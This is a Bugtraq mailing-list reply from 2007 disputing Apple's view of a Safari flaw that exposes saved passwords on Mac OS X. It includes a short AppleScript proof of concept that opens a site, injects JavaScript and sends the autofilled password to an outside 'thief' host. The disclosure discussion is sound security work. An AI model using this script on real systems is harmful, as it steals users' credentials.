bugtraq - Re: RE: Apple Safari on MacOSX may reveal user's saved passwords

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Message-ID: <20070514223500.13858.qmail@securityfocus.com>
Date: 14 May 2007 22:35:00 -0000
From: poplix@...uasia.org
To: bugtraq@...urityfocus.com
Subject: Re: RE: Apple Safari on MacOSX may reveal user's saved passwords

Mark, you read it correctly and you're right, anyway a malicious user at your console should not be able to read your passwords. Also note that to steal saved passwords it's sufficent to entice a victim to execute a malicious script like that:

--BOF
tell application "Safari"
	open location "https://www.target.com"
end tell

do shell script "/bin/sleep 10"

tell application "Safari"
	do JavaScript "document.location.href='http://thief.it/steal_target?p='+document.loginform.password.value" in document 1
end tell
--EOF

I agree with you in saying that the execution of malicious scripts can lead in much more dangeruos attacks, anyway i consider this a vulnerability and i dont know why Apple belives this is the correct behaviour. . .

many thanks for your comment

-p